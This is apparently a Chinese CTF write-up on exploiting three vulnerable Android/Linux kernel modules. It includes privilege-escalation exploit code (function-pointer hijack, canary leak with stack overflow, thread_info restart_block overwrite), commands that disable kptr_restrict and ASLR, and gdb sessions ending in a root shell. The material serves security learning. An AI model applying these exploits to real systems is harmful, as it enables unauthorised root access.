command_handler 这个漏洞是对类中某指针函数的覆盖,从而在调用该指针函数时劫持,从而执行任意代码
结构体在commandhandler.h文件中,如下:
1 2 3 typedef struct { int (* runHandler)(void); } CommandHandler;
首先看下源码的问题,漏洞出在write_to_vuln_device函数:
1 2 3 4 5 6 7 8 9 ssize_t write_to_vuln_device(struct file *filp, const char * buf, size_t count, loff_t *f_pos) { int ret = copy_from_user(&handler,buf,sizeof(CommandHandler)); if(ret){ printk("Failed to copy %d bytes", ret); return ret; } return 0; }
这个函数会使用copy_from_user从buf中读取CommandHandler大小的字节地址到handler的地址中,而这个handler其实也是个CommandHandler结构体,且其内部函数指针指向的函数功能只是返回0。
1 2 3 4 5 6 7 CommandHandler handler = { .runHandler = &doNothingIntializer }; static int doNothingIntializer(){ return 0; }
那比较明显了,那就比较明显了,如果我们传入的buf的头四个字节是自己设定好的地址的话,那么我们就可以在handler的runHandler函数被调用时,就可以将程序流劫持了。
那是在哪里触发的呢?程序中有这样的一段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 long device_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { switch (cmd) { case RUN_COMMAND_HANDLER: handler.runHandler(); break; default : printk("Unknown ioctl cmd: %d", cmd); return -1; } return 0; } struct file_operations device_ops = { read: read_from_vuln_device, write: write_to_vuln_device, unlocked_ioctl: device_ioctl }; static struct miscdevice vuln_device = { minor: MISC_DYNAMIC_MINOR, name: "cmd_handler", // Name ourselves /dev/string_format fops: &device_ops, //Struct for the file ops handler mode: 666 };
可以看到当我们在对该模块(即cmd_handler)调用write,ioctl函数时,该模块就会将这两个函数替换成自己的漏洞函数了,也就是说我们可以先调用write函数,使其触发write_to_vuln_device去覆盖runhandler地址(这里说一点能覆盖的原因是结构体的首地址和第一项内容的起始地址相同,且大小相同),然后再调用unlocked_ioctl触发调用runHandler(kernel 2.6.36 中已经完全删除了struct file_operations 中的ioctl 函数指针,取而代之的是unlocked_ioctl)
看下exp的核心部分,这里的getsymbol函数即打开/proc/kallsyms去获取相应字符串的地址而已:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 int run_handler() { commit_creds(prepare_kernel_cred(0)); return 0; } int main(void){ commit_creds = (int (*)(unsigned long)) get_symbol("commit_creds"); prepare_kernel_cred = (unsigned long(*)(unsigned long)) get_symbol("prepare_kernel_cred"); CommandHandler ch = { .runHandler = &run_handler }; printf("[+] RunHandler at 0x%x\n", (unsigned int) &run_handler); int cmd_handler = open("/dev/cmd_handler", O_RDWR); check(cmd_handler >= 0, "Error opening challenge device"); int rc = write(cmd_handler, &ch, sizeof(CommandHandler)); check(rc >= 0, "Error writing to challenge device"); #define RUN_COMMAND_HANDLER 0x1337 rc = ioctl(cmd_handler, RUN_COMMAND_HANDLER, NULL); check(rc != -1, "IOCTL failed"); printf("uid=%d, euid=%d\n",getuid(), geteuid() ); if(!getuid()) execl( "/system/bin/sh", "sh", (char*) NULL); return 0; error: return -1; }
调试过程如下,省略部分步骤,分析一同写在里面了。 先挂起gdb,然后执行./build_and_run.sh程序,注意由于我们exp需要commit_creds和prepare_kernel_cred地址,所以可以用adb shell进去echo 0 > /proc/sys/kernel/kptr_restrict, 同时关闭随机化echo 0 > /proc/sys/kernel/randomize_va_space
在几个重要函数下断点,并来到write_to_vuln_device,此时对应着exp是执行到了write这一句
1 2 3 4 5 6 7 8 9 10 11 (gdb) b write_to_vuln_device Breakpoint 5 at 0xc025be28: file drivers/vulnerabilities/kernel_build/../challenges/command_handler/module/CommandHandler.c, line 29. (gdb) b device_ioctl Breakpoint 6 at 0xc025be90: file drivers/vulnerabilities/kernel_build/../challenges/command_handler/module/CommandHandler.c, line 41. (gdb) c Continuing. Breakpoint 5, write_to_vuln_device (filp=0xd1811680, buf=0xbefffab8 "5\203", count=4, f_pos=0xd186bf88) at drivers/vulnerabilities/kernel_build/../challenges/command_handler/module/CommandHandler.c:29 29 {
可以发现程序用来覆盖的值应该是0x8335,也就是run_handler()的函数地址,但是现在无法查看
1 2 3 4 (gdb) x/10xw 0xbefffab8 0xbefffab8: 0x00008335 0x8e6a2130 0x0004d5a8 0x6474e552 0xbefffac8: 0x00000fff 0x00008743 0x00000001 0xbefffb54 0xbefffad8: 0xbefffb5c 0xbefffb9c
步进到copy_from_user,查看填入地址和其内容发现确实是handler和runhandler,且此时from地址的值就是0x00008335
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 copy_from_user (n=4, from=0xbefffab8, to=0xc04ac2fc) at /home/test/Desktop/kernel_pwn/playground/goldfish/arch/arm/include/asm/uaccess.h:421 421 n = __copy_from_user(to, from, n); (gdb) x/10xw 0xc04ac2fc 0xc04ac2fc <handler>: 0xc025be18 0x0000003a 0xc041ddc1 0xc04ac324 0xc04ac30c <vuln_device+12>: 0xc04ac2dc 0xc04ac3bc 0x00000000 0xdeaa61c0 0xc04ac31c <vuln_device+28>: 0x00000000 0x0000029a (gdb) x/10xw 0xc025be18 0xc025be18 <doNothingIntializer>: 0xe3a00000 0xe12fff1e 0xe3a00000 0xe12fff1e 0xc025be28 <write_to_vuln_device>: 0xe92d4010 0xe1a0200d 0xe3c23d7f 0xe59f004c 0xc025be38 <write_to_vuln_device+16>: 0xe3c3303f 0xe5933008 (gdb) x/10xw 0xbefffab8 0xbefffab8: 0x00008335 0x8e6a2130 0x0004d5a8 0x6474e552 0xbefffac8: 0x00000fff 0x00008743 0x00000001 0xbefffb54 0xbefffad8: 0xbefffb5c 0xbefffb9c
来到device_ioctl,此时对应着exp应该是调用了ioctl函数所以触发到这里,查看runhandler地址已被覆盖为0x00008335,同时查看传入的cmd为0x1337正好对应着RUN_COMMAND_HANDLER的值,所以接下来会触发handler.runhandler()
1 2 3 4 5 6 7 8 9 Breakpoint 6, device_ioctl (filp=0xd1811680, cmd=4919, arg=0) at drivers/vulnerabilities/kernel_build/../challenges/command_handler/module/CommandHandler.c:41 41 { (gdb) x/10xw 0xc04ac2fc 0xc04ac2fc <handler>: 0x00008335 0x0000003a 0xc041ddc1 0xc04ac324 0xc04ac30c <vuln_device+12>: 0xc04ac2dc 0xc04ac3bc 0x00000000 0xdeaa61c0 0xc04ac31c <vuln_device+28>: 0x00000000 0x0000029a (gdb) p/x 4919 $1 = 0x1337
步进到handler.runHandler()后查看下其汇编函数,发现pc即将跳转到寄存器r3指向的地址,查看下r3的值,发现就是我们劫持填入的地址,这里直接看0x8335的内容识别不了,但可以根据在exp中打印出我们所写的提权函数run_handler的地址,发现也是0x8335,因此可以得知跳转到了我们的函数。(当然也可以尝试下反汇编,这里我就不试了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 (gdb) 0xc025bea8 44 handler.runHandler(); (gdb) disass Dump of assembler code for function device_ioctl: 0xc025be90 <+0>: push {r3, lr} 0xc025be94 <+4>: movw r3, #4919 ; 0x1337 0xc025be98 <+8>: cmp r1, r3 0xc025be9c <+12>: bne 0xc025beb4 <device_ioctl+36> 0xc025bea0 <+16>: ldr r3, [pc, #28] ; 0xc025bec4 0xc025bea4 <+20>: ldr r3, [r3] => 0xc025bea8 <+24>: blx r3 0xc025beac <+28>: mov r0, #0 0xc025beb0 <+32>: pop {r3, pc} 0xc025beb4 <+36>: ldr r0, [pc, #12] ; 0xc025bec8 0xc025beb8 <+40>: bl 0xc0362f60 <printk> 0xc025bebc <+44>: mvn r0, #0 0xc025bec0 <+48>: pop {r3, pc} 0xc025bec4 <+52>: strdgt r12, [r10], #-44 ; 0xffffffd4 0xc025bec8 <+56>: subgt sp, r1, r3, lsl #27 End of assembler dump. (gdb) p/x $r3 $3 = 0x8335 (gdb) disass 0x8335 No function contains specified address. (gdb) x/10xw 0x8335 0x8335: 0x06af02b5 0x78490748 0x00447944 0x04680968 0x8345: 0x09200068 0xa0478868 0xd0200047 0x58bf00bd 0x8355: 0x5a00046b 0xbf00046b
最终利用成功如下
1 2 3 4 5 6 7 8 9 10 [arm64-v8a] Install : solution => libs/arm64-v8a/solution [x86_64] Install : solution => libs/x86_64/solution [armeabi-v7a] Install : solution => libs/armeabi-v7a/solution [x86] Install : solution => libs/x86/solution 1182 KB/s (292168 bytes in 0.241s) [+] resolved symbol commit_creds to 0xc0039834 [+] resolved symbol prepare_kernel_cred to 0xc0039d34 [+] RunHandler at 0x8335 uid=0, euid=0 root@generic:/ #
csaw 2010 这题的漏洞是栈溢出,但是要绕过canary,这题提供了一种绕过canary的方法。
原理是由于proc接口就像提供了一个文件的接口,因此可以对proc目录下的打开的文件描述符调用lseek函数,从而导致传递给csaw_read函数的off参数可以是非零值。通过这个属性我们可以在进程中dump出canary的值后将它填入具体位置绕过。利用如下,具体的偏移值(如canary和ret的距离)可以通过动态调试确定:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void trigger_vuln(int fd, int canary) { #define MAX_PAYLOAD (MAX + 1 * sizeof(void*) ) char buf[MAX_PAYLOAD], *p; bzero(buf, sizeof(buf)); // memset(buf, 'A', sizeof(buf)); p = buf + MAX; *(void **)p = (void *)canary; p += 7 * sizeof(void *); *(void **)p = (void *) &kernel_code; /* Point p to the canary's spot and set it. */ printf("Payload:\n"); print_hex(buf, sizeof(buf)); printf("[*] hold on to your butts\n"); /* Kaboom! */ write(fd, buf, sizeof(buf)); } int gather_information(int fd) { int canary, i; if (lseek(fd, 32, SEEK_SET) == -1) err(2, "lseek"); read(fd, &canary, sizeof(canary)); printf("[+] found canary: %08x\n", canary); return canary; }
csaw 2011 这题很迷。。。调到后面才发现结构体不一样。。。但还是学到些东西的
简单说下原理:在Linux上,系统上的每个线程都在内核内存中分配了相应的内核堆栈。 x86上的Linux内核堆栈的大小为4096或8192字节。尽管此大小似乎很小,无法包含完整的调用链和相关的本地堆栈变量,但实际上内核调用链相对较浅,当使用高效的分配器(如SLUB)时,不鼓励内核函数滥用带有大局部堆栈变量的宝贵空间。可用。堆栈与thread_info结构共享4k / 8k的总大小,该结构包含有关当前线程的一些元数据,如include/linux/sched.h中所示:
1 2 3 4 union thread_union { struct thread_info thread_info; unsigned long stack[THREAD_SIZE/sizeof(long)]; };
根据题目的提示的信息,我们可以对应到linux v2.6.39.4的版本 然后在x86下的thread_info的结构是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 struct thread_info { struct task_struct *task; /* main task structure */ struct exec_domain *exec_domain; /* execution domain */ __u32 flags; /* low level flags */ __u32 status; /* thread synchronous flags */ __u32 cpu; /* current CPU */ int preempt_count; /* 0 => preemptable, <0 => BUG */ mm_segment_t addr_limit; struct restart_block restart_block; void __user *sysenter_return; #ifdef CONFIG_X86_32 unsigned long previous_esp; /* ESP of the previous stack in case of nested (IRQ) stacks */ __u8 supervisor_stack[0]; #endif int uaccess_err; };
由于内核内存空间有限,当内核中的函数需要超过4k / 8k的堆栈空间或长调用链超出可用堆栈空间时,那么就会发生堆栈溢出,并且如果thread_info结构或超出其的关键内存损坏,则常会导致内核崩溃。但是如果可以对齐其结构体,并且存在实际可以控制写入堆栈及其以外的数据的情况,则可能存在可利用的条件。这里的话,是将restart_block作为一个攻击切入点, restart_block是每个线程的结构,用于跟踪信息和参数以重新启动系统调用。如果在sigaction 中指定了SA_RESTART,则被信号中断的系统调用可以中止并返回EINTR,也可以自行重启。在include/linux/thread_info.h中,restart_block的定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 struct restart_block { long (*fn)(struct restart_block *); union { /* For futex_wait and futex_wait_requeue_pi */ struct { u32 __user *uaddr; u32 val; u32 flags; u32 bitset; u64 time; u32 __user *uaddr2; } futex; /* For nanosleep */ struct { clockid_t clockid; struct timespec __user *rmtp; #ifdef CONFIG_COMPAT struct compat_timespec __user *compat_rmtp; #endif u64 expires; } nanosleep; /* For poll */ struct { struct pollfd __user *ufds; int nfds; int has_timeout; unsigned long tv_sec; unsigned long tv_nsec; } poll; }; };
需要关注的是第一个函数指针,先来看下是否可以触发这个指针,在kernel/signal.c中发现可以通过restart_syscall函数来调用restart_block的fn指向的函数
1 2 3 4 5 SYSCALL_DEFINE0(restart_syscall) { struct restart_block *restart = ¤t_thread_info()->restart_block; return restart->fn(restart); }
而在arch/x86/kernel/syscall_table_32.S中定义了restart_syscall的系统调用号:
1 .long sys_restart_syscall /* 0 - old "setup()" system call, used for restarting */
也就是说我们可以通过syscall(0)就能触发到这个fn指向的函数了,那如果可以破坏thread_info的restart_block成员中的函数指针,将其指向我们控制下的用户空间中的函数,那么就可以劫持程序流了。
以上就是大致的原理部分,程序本身是一个加密解密模块,这不是我们关注的重点,重点在于我们是否能够在内核空间将使用地址覆盖到thread_info,直接分配大空间内存在这里无法实现,所以考虑不断分配栈帧,即找寻递归函数,在decrypt函数我们看到了一个decrypt自身的递归调用,比较明显的是round的值代表了控制解密的轮数,在这里也就是分配栈帧的次数,如果我们可以控制这个round为一个合适的较大值,那么我们就可以覆盖到thread_info了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void decrypt(uint32_t k[], char *buf, int len, int rounds) { int i; if (rounds >= 0) { if (rounds % 3 == 0) { k[0] ^= k[1]; k[1] ^= k[0]; k[0] ^= k[1]; k[2] ^= k[3]; k[3] ^= k[2]; k[2] ^= k[3]; } else if (rounds % 3 == 1) { k[0] ^= k[2]; k[2] ^= k[0]; k[0] ^= k[2]; k[1] ^= k[3]; k[3] ^= k[1]; k[1] ^= k[3]; } else if (rounds % 3 == 2) { k[0] ^= k[3]; k[3] ^= k[0]; k[0] ^= k[3]; k[2] ^= k[1]; k[1] ^= k[2]; k[2] ^= k[1]; } decrypt(k, buf, len, rounds-1); } else { for (i = 0; i < len / 8; i++) { descramble(k, (uint32_t *)(buf + (i * 8)), (uint32_t *) 0, (uint32_t *) DELTA); } } }
而这个round值在key_write函数中被赋值,可以看到从copy_from_user获取用户的输入,然后按照格式化字符串的填入key和rounds。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int key_write(struct file *file, const char __user *ubuf, unsigned long count, void *data) { char buf[MAX_LENGTH]; printk(KERN_INFO "csaw: called key_write\n"); memset(buf, 0, sizeof(buf)); if (count > MAX_LENGTH) { count = MAX_LENGTH; } if (copy_from_user(&buf, ubuf, count)) { return -EFAULT; } sscanf(buf, "%16c\t%d", (char *) key, &rounds); return count; }
填充rounds和触发的函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void set_rounds(int rounds) { FILE *fp = open_file("/proc/csaw2011/key"); fprintf(fp, "FFFFFFFFFFFFFFFF\t%d\n", rounds); fclose(fp); printf("[+] Rounds set successfully\n"); } void trigger_vuln(void) { FILE *fp = open_file("/proc/csaw2011/decrypt"); fprintf(fp, "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); fclose(fp); syscall(0); }
当然有点无语的是具体shellcode填充,给了x86架构的exp,然而放在androidkernel的题库里。。。shellcode就是类似于jop的思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 /* This function just does: * asm("mov $get_root, %eax; jmp *%eax;"); * * The format of these instructions is: * mov addr, %eax => b8 little_endian(addr) * jmp *%eax => ff e0 */ void generate_shellcode(char *buf) { long *p; *buf++ = '\xb8'; /* mov $get_root, %eax */ p = (long *)buf; *p = (long)&get_root; buf += sizeof(long *); /* jmp eax */ *buf++ = '\xff'; *buf++ = '\xe0'; }
当我费心改成arm架构的机器码挂上去调试的时候,却突然发现不同架构的thread_info的结构体都不一样 :)
在linux之前的内核中,还没有lx的辅助调试选项,所以查看thread_info的方式要少麻烦些 首先我们需要根据栈地址拿到thread_info的地址,上文根据thread_union结构体可知可以通过程序的局部变量的地址(&retval)获得内核栈的地址。又因为thread_info 位于内核栈顶部而且是 8k(或者 4k )对齐的,所以利用 栈地址 & (~(THREAD_SIZE - 1)) 就可以计算出 thread_info 的地址。而THREAD_SIZE的定义在thread_info.h中, 下面是arm架构的THREAD_SIZE定义,THREAD_SIZE_ORDER和PAGE_SIZE根据架构有所不同,这里由于是arm 32位,所以THREAD_SIZE = 4096 * 2 = 0x2000
1 2 #define THREAD_SIZE_ORDER 1 #define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER)
就是在调试时才发现原来thread_info的结构体也不一样,猝。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 (gdb) p/x $sp $10 = 0xd1c4fe88 >>> hex(sp&(~(0x2000-1))) '0xd1c4e000' (gdb) p *(struct thread_info *) 0xd1c4e000 $12 = {flags = 0, preempt_count = 0, addr_limit = 3204448256, task = 0xd1c38c00, exec_domain = 0xc048ca6c, cpu = 0, cpu_domain = 21, cpu_context = {r4 = 3725747072, r5 = 3519253504, r6 = 3226005544, r7 = 3615050560, r8 = 3726621696, r9 = 3519340544, sl = 3519340544, fp = 3519348100, sp = 3519348048, pc = 3224796784, extra = {0, 0}}, syscall = 0, used_cp = '\000' <repeats 15 times>, tp_value = 3070189536, crunchstate = {mvdx = {{0, 0} <repeats 16 times>}, mvax = {{0, 0, 0}, {0, 0, 0}, {0, 0, 0}, {0, 0, 0}}, dspsc = {0, 0}}, fpstate = {hard = {save = { 0 <repeats 35 times>}}, soft = {save = {0 <repeats 35 times>}}}, vfpstate = { hard = {fpregs = {0 <repeats 32 times>}, fpexc = 1073741824, fpscr = 0, fpinst = 0, fpinst2 = 0}}, restart_block = {fn = 0xc0028dcc <do_no_restart_syscall>, {futex = { uaddr = 0x0, val = 0, flags = 0, bitset = 0, time = 0, uaddr2 = 0x0}, nanosleep = {clockid = 0, rmtp = 0x0, expires = 0}, poll = {ufds = 0x0, nfds = 0, has_timeout = 0, tv_sec = 0, tv_nsec = 0}}}} 其结构体就不再放了,查看task_struct的话可以看到cred的地址, 然后查看cred内的id: (gdb) p *(struct task_struct *) 0xd1c38c00 ... real_cred = 0xde29be40, cred = 0xde29be40, ...